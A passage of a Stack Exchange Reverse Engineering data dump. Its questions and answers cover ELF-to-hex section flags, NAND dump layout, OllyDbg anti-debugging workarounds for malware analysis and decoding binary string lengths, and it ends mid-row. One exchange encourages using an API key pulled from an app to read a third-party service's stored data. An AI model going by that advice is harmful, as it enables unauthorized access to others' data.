  <row Id="15095" PostTypeId="1" AcceptedAnswerId="15103" CreationDate="2017-04-04T22:39:43.617" Score="1" ViewCount="1440" Body="&lt;p&gt;I am using objcopy to convert elf to hex. When I disassemble the elf in IDA Pro, all the sections are present, but they are missing from my hex and it seems the elf headers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\TricoreGCC&amp;gt;tricore-readelf -l test1.elf&#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x80132000&#xA;There are 3 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;LOAD           0x000000 0x80130000 0x80130000 0x023e8 0x023e8 R E 0x4000&#xA;LOAD           0x003000 0x801cb000 0x801cb000 0x01478 0x01478 RW  0x4000&#xA;LOAD           0x005500 0xd0015500 0xd0015500 0x00000 0x00008 RW  0x4000&#xA;&#xA;Section to Segment mapping:&#xA;Segment Sections...&#xA;00     .text .rodata&#xA;01     .data&#xA;02     .bss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an assembler file I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section .jfuel , &quot;x&quot;&#xA;j translatefuel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a linker script file I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SECTIONS&#xA;{&#xA;. = 0x800B5964;&#xA;.jfuel : { *(.jfuel) }&#xA;. = 0x80132000;&#xA;.text : { *(.text) }&#xA;.rodata : { *(.rodata) }&#xA;. = 0x801CB000;&#xA;.data : { *(.data) }&#xA;. = 0xD0015500;&#xA;.bss : { *(.bss) }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The elf file does contain symbols from this section though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.symtab' contains 85 entries:&#xA;Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA; 0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND&#xA; 1: 800b5964     0 SECTION LOCAL  DEFAULT    1...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and later there is my .text section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 5: 80132000     0 SECTION LOCAL  DEFAULT    5...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somehow I am not defining the section properly in the linker script file. Because it doesn't have a traditional name like .text I'm missing something that is stopping it getting into the sections to &quot;load&quot; into the elf and hence the hex, although IDA Pro loading the elf is showing the sections correctly placed, and their contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posting in RE because I'm patching binaries with a combination of C and asm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2017-04-05T12:21:05.247" Title="GNU objcopy: elf to hex missing sections" Tags="|elf|section|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15096" PostTypeId="2" ParentId="15086" CreationDate="2017-04-05T06:10:29.040" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Need your help to identify that specific condition in the which makes&#xA;  the malware run only in a specific operating system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please note malware authors seldomly care about keeping their products updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when assembling a ground truth for malware evaluation, there is a clear slope: most samples will work on XP, somewhat less on Windows 7 and even less on Windows 8 / 10 (not much difference here). For each step upwards, you'll lose an average of about 15% of the samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often, you may be able to find a variant of a family capable of running on an newer system (but not for all families).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured one of the main reasons is either that the sample checks for a specific windows version or a certain exploit does not work. For example, often privilege escalation using Process Injection may fail on more recent platforms when is was developed for XP. Somewhat more advanced malware even implements different methods for different OS versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please remember that malware deals with pretty low level structures of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either malware does support multi-os functionality, or it does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .dll you linked seems pretty sraight forward (unpacked?) since it contains some debug information and an intact import table. Is there anything in particular you're having problems with?&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-05T06:10:29.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15098" PostTypeId="2" ParentId="14779" CreationDate="2017-04-05T08:01:34.827" Score="1" Body="&lt;p&gt;Maybe you can look at LIEF:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GitHub page: &lt;a href=&quot;https://github.com/lief-project/LIEF&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lief-project/LIEF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site: &lt;a href=&quot;https://lief.quarkslab.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lief.quarkslab.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19771" LastActivityDate="2017-04-05T08:01:34.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15099" PostTypeId="2" ParentId="14982" CreationDate="2017-04-05T09:23:43.743" Score="11" Body="&lt;p&gt;So, I have figured it out myself in the end. I'll try to describe the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a bit of background on NAND: it is organized in pages which are grouped into blocks. You can read or write a single page at a time but erasing (which turns all bits to 1s (so bytes to FFs)) can be only done one block at a time (writing can only change bits from 1 to 0 but not the other way around, so to write new data the block usually has to be erased first). Usually the chip also has some extra storage per page to store ECC (error-correction code) and/or arbitrary &quot;spare&quot; data (also called OOB: out-of-band) which is not considered to be part of the useful storage of the chip but can still be read and written using low-level functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While browsing the hex dump, I came across this region after a bunch of FFs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000081FE0: FF FF FF FF FF FF FF FF │ FF FF FF FF FF FF FF FF          &#xA;0000081FF0: FF FF FF FF FF FF FF FF │ FF FF FF FF FF FF FF FF          &#xA;0000082000: 6C 4F 41 64 00 00 00 00 │ 00 00 00 00 00 00 00 00  lOAd&#xA;0000082010: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;0000082020: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;0000082030: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;0000082040: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;0000082050: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It had the usual OOB-looking 16-byte chunks after each 0x200 bytes but then something different:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;83040: 70 41 52 74 18 00 00 00 │ 48 00 00 00 90 00 00 00  pARt↑   H   &#xA;83050: A0 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00   &#xA;83060: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;....&#xA;84080: 75 42 54 74 20 00 00 00 │ 02 00 00 00 00 00 00 00  uBTt    ☻&#xA;84090: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;840A0: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;840B0: 00 00 00 00 00 00 00 00 │ 00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What's this? Sounds like U-Boot. Let's check U-boot sources from Sony's website... and bingo!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /* for Loader Management */&#xA; #define MNG_SIG_LOADER         0x64414F6C      /* &quot;lOAd&quot; */&#xA; #define TBL_SIG_PART           0x74524170      /* &quot;pARt&quot; */&#xA; #define TBL_SIG_UBOOT          0x74544275      /* &quot;uBTt&quot; */&#xA; #define TBL_SIG_FUKRNL         0x744B5566      /* &quot;fUKt&quot; */&#xA; #define TBL_SIG_FUINRD         0x74525566      /* &quot;fURt&quot; */&#xA; #define TBL_SIG_BAD                0x74444162      /* &quot;bADt&quot; */&#xA;&#xA; #define    MNG_SIG_KRNL            0x6C4E526B      /* &quot;kRNl&quot; */&#xA; #define TBL_SIG_KRNL           0x744C4E6B      /* &quot;kNLt&quot; */&#xA; #define TBL_SIG_INRD           0x74445269      /* &quot;iRDt&quot; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(from &lt;code&gt;icx1087_nand.c&lt;/code&gt;)&#xA;So, apparently these blocks are related to &quot;Loader Management&quot;... looking at the references we come across this code chunk:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* read management table */&#xA;for( rty = 0; rty &amp;lt; NAND_READ_RETRY; rty++ ) {&#xA;    if( nand_search_tbl(NAND_BLK_LOADER_START, NAND_BLK_LOADER_LMT,&#xA;                        MNG_SIG_LOADER, TBL_SIG_PART, (void *)&amp;amp;ptbl, 0) ) {&#xA;            continue;&#xA;    }&#xA;    /* success to read Kernel information if reach here */&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it's looking for &lt;code&gt;MNG_SIG_LOADER&lt;/code&gt; (lOAd) in the NAND block NAND_BLK_LOADER_START. And the value is...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define NAND_BLK_LOADER_START   1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So looks like 82000 is the start of NAND block 1. If we check the code further, we can see that it's looking for other signatures (e.g. &lt;code&gt;TBL_SIG_PART&lt;/code&gt; or &lt;code&gt;TBL_SIG_FUKRNL&lt;/code&gt;) in &lt;em&gt;pages&lt;/em&gt; of this block. And let's see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;MNG_SIG_LOADER: 82000 (block 1 page 0?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;TBL_SIG_PART: 83040 (block 1 page 1?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;TBL_SIG_UBOOT: 84080 (block 1 page 2?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;83040-82000=1040  and 84080-83040=1040 too! So looks like the page size in the dump is 1040. and 1040*128 =82000 which means we have 128 pages per block. The actual data is probably 0x1000 bytes and 0x40 is the &quot;spare&quot; data. So, this explains why I had desynchronization after each four 0x200 sectors: there are 8 sectors per page but only 0x40 bytes of OOB data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why the dump ended up having such weird structure; I think it's because the software used for dumping (IIRC it was &lt;a href=&quot;https://github.com/ohjeongwook/DumpFlash&quot; rel=&quot;noreferrer&quot;&gt;DumpFlash&lt;/a&gt; by Matt Oh) assumes 512-byte pages in many places and somehow the OOB data ended up being spread in chunks instead of being grouped at the end of each page. Possibly it's also related to this passage in &lt;a href=&quot;https://toshiba.semicon-storage.com/ap-en/product/memory/nand-flash/detail.TC58NVG0S3HTA00.html&quot; rel=&quot;noreferrer&quot;&gt;the datasheet&lt;/a&gt; for a similar (but not same) Toshiba chip:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;8 bit ECC for each 512Byte is required&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(but no explanation on how it should be done)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, once I figured out the magic numbers of 0x1040 for page size and 128 pages per block, it was not difficult to fix my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NAND_PAGE_SIZE  = 0x1000&#xA;NAND_PAGE_BLK   = 128&#xA;NAND_SECTOR_PER_PAGE = 8&#xA;NAND_SECTOR_SIZE = NAND_PAGE_SIZE/NAND_SECTOR_PER_PAGE&#xA;OOBLEN = 16&#xA;&#xA;def page2off(pgno):&#xA;  return pgno*0x1040 # (NAND_PAGE_SIZE + NAND_SECTOR_PER_PAGE*OOBLEN)&#xA;&#xA;def read_page(inf, blkno, pgno):&#xA; blklen = page2off(NAND_PAGE_BLK)&#xA; fileoff = blklen*blkno + page2off(pgno)&#xA; print &quot;reading block %d page %d: offset %08X&quot; % (blkno, pgno, fileoff)&#xA; inf.seek(fileoff, 0)&#xA; block = inf.read(blklen)&#xA; s = &quot;&quot;&#xA; soff =0&#xA; for i  in range(NAND_SECTOR_PER_PAGE):&#xA;  print &quot;sector %d offset %08X&quot; % (i, soff)&#xA;  s+= block[soff:soff+NAND_SECTOR_SIZE]&#xA;  soff += NAND_SECTOR_SIZE+OOBLEN&#xA; return s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this I could dump parts of the flash with the kernel and ramdisk and extract the binaries.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-05T09:23:43.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15100" PostTypeId="1" CreationDate="2017-04-05T09:56:25.483" Score="2" ViewCount="1959" Body="&lt;p&gt;I am debugging a malware sample which is using &lt;code&gt;setunhandledexceptionfilter()&lt;/code&gt; for anti-debugging. I don't know how to handle this.&#xA;Can you guys please explain the &lt;code&gt;setunhandledexceptionfilter()&lt;/code&gt; anti-debugging trick and how to overcome it in olly debugger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16096" LastEditorUserId="2147" LastEditDate="2017-04-05T10:30:53.923" LastActivityDate="2017-04-05T10:30:53.923" Title="how to overcome setunhandledexceptionfilter in ollyDebugger?" Tags="|ollydbg|binary-analysis|malware|anti-debugging|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15101" PostTypeId="2" ParentId="15100" CreationDate="2017-04-05T10:24:28.227" Score="5" Body="&lt;p&gt;TL;DR: You should place a breakpoint at the address passed as the single parameter to &lt;code&gt;setunhandledexceptionfilter&lt;/code&gt; and ignore the exception / pass the exception to the program.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A more detailed explanation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680634(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; you can see the documentation for &lt;code&gt;setunhandledexceptionfilter&lt;/code&gt;, reading it if you didn't already might make things clearer for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure that user supplied function is called (see background for why) you should pass the exception to the program using olly. However, when you'll do that, the rest of the malware's code will execute from within the unhandled exception function and you'll lose control of the debugged program. To make sure you're still controlling the execution flow, you should place a breakpoint at the function passed as an argument to &lt;code&gt;setunhandledexceptionfilter&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some context and background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setunhandledexceptionfilter&lt;/code&gt; is used to set a user provided function as the function called when exception was not handled by any exception handler, just before the process is terminated. That function should be in charge of object cleanups and clean termination in the case of an unhandled exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to use &lt;code&gt;setunhandledexceptionfilter&lt;/code&gt; as an anti-debugging trick, but most will involve implementing a crucial part of the program inside the new unhandled exception handler, and then resume the rest of the code execution from within the exception handler.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-04-05T10:30:35.760" LastActivityDate="2017-04-05T10:30:35.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15102" PostTypeId="1" AcceptedAnswerId="15104" CreationDate="2017-04-05T11:48:38.570" Score="1" ViewCount="141" Body="&lt;p&gt;I've been trying to identify this little fellow: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QlWZ1.pnggb&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QlWZ1.pnggb&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The symbol indicates Analog devices. But the Cryptic &quot;Y 4 A&quot; is giving me a headache. Ive searched throughout the internet for the labelling norms of AD but I can't find it. Everything that is explained relates to ADXXXX... something. No word about single char labelling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry for the bad resolution, but I can't provide a better picture.&lt;/p&gt;&#xA;" OwnerUserId="19772" LastEditorUserId="19772" LastEditDate="2017-04-05T12:34:07.360" LastActivityDate="2017-04-05T13:19:42.190" Title="Analog Devices chip identification Y 4 A" Tags="|integrated-circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15103" PostTypeId="2" ParentId="15095" CreationDate="2017-04-05T12:15:47.120" Score="0" Body="&lt;p&gt;Answer in this case after hint from @Igor Skochinsky is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section .jfuel , &quot;x&quot;&#xA;j translatefuel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section .jfuel , &quot;ax&quot;&#xA;j translatefuel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.text has AX (alloc, execute) by default whereas .jfuel only had X because that was all I added originally.&lt;/p&gt;&#xA;" OwnerUserId="19027" LastEditorUserId="19027" LastEditDate="2017-04-05T12:21:05.247" LastActivityDate="2017-04-05T12:21:05.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15104" PostTypeId="2" ParentId="15102" CreationDate="2017-04-05T13:19:42.190" Score="0" Body="&lt;p&gt;By searching &lt;code&gt;&quot;Y4A&quot; site:analog.com&lt;/code&gt; I found &lt;a href=&quot;http://www.analog.com/media/en/technical-documentation/data-sheets/AD8421.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this datasheet&lt;/a&gt; which seems pretty close.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-05T13:19:42.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15105" PostTypeId="2" ParentId="6556" CreationDate="2017-04-05T16:48:18.270" Score="-1" Body="&lt;p&gt;I have same device, you can try this &lt;a href=&quot;https://mega.nz/#!ZRIRBA6Q!WrU6OiXkaFb-pmA7y5rzSHMauK8bioxfobBZms5ak0Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;busybox&lt;/a&gt; which I compiled for that device, just type &lt;code&gt;./busybox_unstripped dd&lt;/code&gt; in order to use &lt;code&gt;dd&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./busybox_unstripped &#xA;BusyBox v1.13.4 (2017-03-09 17:30:22 CET) multi-call binary&#xA;Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko&#xA;and others. Licensed under GPLv2.&#xA;See source distribution for full notice.&#xA;&#xA;Usage: busybox [function] [arguments]...&#xA;   or: function [arguments]...&#xA;&#xA;        BusyBox is a multi-call binary that combines many common Unix&#xA;        utilities into a single executable.  Most people will create a&#xA;        link to busybox for each function they wish to use and BusyBox&#xA;        will act like whatever it was invoked as!&#xA;&#xA;Currently defined functions:&#xA;        ash, bunzip2, bzcat, cat, cp, cut, date, dd, echo, expr, false, free,&#xA;        grep, halt, head, hostname, ifconfig, init, ip, kill, killall, klogd,&#xA;        ln, ls, mkdir, mount, ping, poweroff, ps, reboot, renice, rm, route,&#xA;        sh, sleep, syslogd, tail, true, umount, wc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also found firmware on internet for that device which you could download &lt;a href=&quot;https://mega.nz/#!ZdZRUZIb!RE4GLT5Hu33Ymga5ykfCcxHU39pwkd2C2K8Ek_yqn7I&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2017-04-05T16:48:18.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15107" PostTypeId="1" CreationDate="2017-04-05T20:05:05.987" Score="0" ViewCount="347" Body="&lt;p&gt;I am analyzing an app and in it's data I found an apikey for segments.io.&#xA;Using this apikey, is it possible to see what data is stored or perhaps even dump it?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2017-04-06T05:08:20.557" Title="Dump data from segments.io /segment.com with apikey" Tags="|dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15108" PostTypeId="2" ParentId="15107" CreationDate="2017-04-06T05:08:20.557" Score="1" Body="&lt;p&gt;Sure. The API endpoint is &lt;code&gt;https://api.segment.io/&lt;/code&gt; - it seems to be a REST interface. You can find the software documentation &lt;a href=&quot;https://segment.com/docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there seems to be a broad range of integrations to parse and read the data &lt;a href=&quot;https://segment.com/catalog#integrations/all&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also know that the system uses a WriteKey and a ReadKey apparently, but I can not deduce which one you have.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to write your own REST client, please refer to&#xA;  StackOverflow for programming-guidance. This SE community is dedicated&#xA;  to reverse engineering.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-06T05:08:20.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15110" PostTypeId="1" CreationDate="2017-04-06T08:48:14.220" Score="3" ViewCount="1279" Body="&lt;p&gt;In IDAPython, we can get segments with &lt;code&gt;idautils.Segments()&lt;/code&gt;.However, the result doesn't cover the whole input file, and the the first segment is &quot;.init&quot;. My question is, how to get other things in the input file, like elf header, or other sections, like &quot;.dynsym&quot;?&lt;br&gt;&#xA;In most elf files, the elf header can be located with address &lt;code&gt;0x400000&lt;/code&gt;. But what if the address changed? Can I read it directly from the binary file?&lt;/p&gt;&#xA;" OwnerUserId="19411" LastActivityDate="2017-09-05T17:14:42.453" Title="How to get elf header via IDAPython?" Tags="|ida|idapython|static-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15111" PostTypeId="1" AcceptedAnswerId="15112" CreationDate="2017-04-06T09:19:01.473" Score="3" ViewCount="347" Body="&lt;p&gt;I'm reverse-engineering custom binary file format. I'm using 010 Editor to check this file. I found data structure to represent UTF-8 strings, which has header section of one or two bytes in length then the actual UTF-8 string data. The header section seems to store total number of bytes needed for the string data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;╔════════════╦═══════════════╦═══════════════════╗&#xA;║ first byte ║ optional byte ║ UTF-8 string data ║&#xA;╚════════════╩═══════════════╩═══════════════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second byte in header is optional and it's only there when UTF-8 string needs more than 128 bytes to be stored. When string length is less or equal 128 bytes, decoding it's length is easy. However, when string length &gt; 128, I'm failing to calculate string length from header section. So I did experiments and generated many binary files with different string length and below is the result. String length is the total number of bytes needed to store the string. First and second columns are first and second optional byte in header section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;╔════╦════╦═══════════════╗&#xA;║ 01 ║ 02 ║ String length ║&#xA;╠════╬════╬═══════════════╣&#xA;║ 7D ║N/A ║           126 ║&#xA;║ 7E ║N/A ║           127 ║&#xA;║ 7F ║N/A ║           128 ║&#xA;║ 80 ║ 01 ║           129 ║&#xA;║ 81 ║ 01 ║           130 ║&#xA;║ C7 ║ 01 ║           200 ║&#xA;║ C8 ║ 01 ║           201 ║&#xA;║ F9 ║ 01 ║           250 ║&#xA;║ FE ║ 01 ║           255 ║&#xA;║ FF ║ 01 ║           256 ║&#xA;║ 80 ║ 02 ║           257 ║&#xA;║ 81 ║ 02 ║           258 ║&#xA;║ 82 ║ 02 ║           259 ║&#xA;║ F3 ║ 03 ║           500 ║&#xA;║ F4 ║ 03 ║           501 ║&#xA;║ F5 ║ 03 ║           502 ║&#xA;║ F6 ║ 03 ║           503 ║&#xA;║ 80 ║ 04 ║           513 ║&#xA;╚════╩════╩═══════════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I read somewhere that Pascal\Delphi is using string format where it has header to save string length instead of null terminated strings like in C, which look similar to my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I calculate string length when it's greater than 128 bytes in length using values in header section?&lt;/p&gt;&#xA;" OwnerUserId="19780" LastEditorUserId="2147" LastEditDate="2017-04-06T15:05:16.317" LastActivityDate="2017-04-06T15:56:16.913" Title="Problem with converting hex values to decimal" Tags="|binary-analysis|hex|strings|struct|binary-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15112" PostTypeId="2" ParentId="15111" CreationDate="2017-04-06T11:35:21.263" Score="3" Body="&lt;p&gt;This is not the pascal/delphi string format, as those are either constant 1 byte or 4 bytes long length fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does have some resemblance to the ASN1 format, except ASN1 comes with an additional field denoting the type of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, This looks like the &lt;em&gt;Most significant bit&lt;/em&gt; of the first byte is not part of the length and has the special meaning of extending the length by an additional byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take that table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In [24]: t&#xA;Out[24]:&#xA;[['7D', 'N/A', '126'],&#xA; ['7E', 'N/A', '127'],&#xA; ['7F', 'N/A', '128'],&#xA; ['80', '01', '129'],&#xA; ['81', '01', '130'],&#xA; ['C7', '01', '200'],&#xA; ['C8', '01', '201'],&#xA; ['F9', '01', '250'],&#xA; ['FE', '01', '255'],&#xA; ['FF', '01', '256'],&#xA; ['80', '02', '257'],&#xA; ['81', '02', '258'],&#xA; ['82', '02', '259'],&#xA; ['F3', '03', '500'],&#xA; ['F4', '03', '501'],&#xA; ['F5', '03', '502'],&#xA; ['F6', '03', '503'],&#xA; ['80', '04', '513']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And split the MSB off the first byte:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In [36]: t2=[[int(l[0], 16)&amp;amp;0b10000000&amp;gt;0, hex(int(l[0], 16)&amp;amp;0b01111111)[2:]]+l[1:] for l in t]&#xA;&#xA;In [37]: t2&#xA;Out[37]:&#xA;[[False, '7d', 'N/A', '126'],&#xA; [False, '7e', 'N/A', '127'],&#xA; [False, '7f', 'N/A', '128'],&#xA; [True, '0', '01', '129'],&#xA; [True, '1', '01', '130'],&#xA; [True, '47', '01', '200'],&#xA; [True, '48', '01', '201'],&#xA; [True, '79', '01', '250'],&#xA; [True, '7e', '01', '255'],&#xA; [True, '7f', '01', '256'],&#xA; [True, '0', '02', '257'],&#xA; [True, '1', '02', '258'],&#xA; [True, '2', '02', '259'],&#xA; [True, '73', '03', '500'],&#xA; [True, '74', '03', '501'],&#xA; [True, '75', '03', '502'],&#xA; [True, '76', '03', '503'],&#xA; [True, '0', '04', '513']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, lets note that &lt;code&gt;0x7D&lt;/code&gt; is 125 in decimal, not 126. This is true for all values where MSB is clear, so all of these values are always increased by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if the MSB is set, values in the second byte are multiplied by 128 and then added to the first byte's result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example that calculates the result using the previous two bytes (and appends it as the last value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In [53]: t3 = [l+[int(l[1], 16) + 1 + (int(l[2], 16)*128 if l[0] else 0)] for l in t2]&#xA;&#xA;In [54]: t3&#xA;Out[54]:&#xA;[[False, '7d', 'N/A', '126', 126],&#xA; [False, '7e', 'N/A', '127', 127],&#xA; [False, '7f', 'N/A', '128', 128],&#xA; [True, '0', '01', '129', 129],&#xA; [True, '1', '01', '130', 130],&#xA; [True, '47', '01', '200', 200],&#xA; [True, '48', '01', '201', 201],&#xA; [True, '79', '01', '250', 250],&#xA; [True, '7e', '01', '255', 255],&#xA; [True, '7f', '01', '256', 256],&#xA; [True, '0', '02', '257', 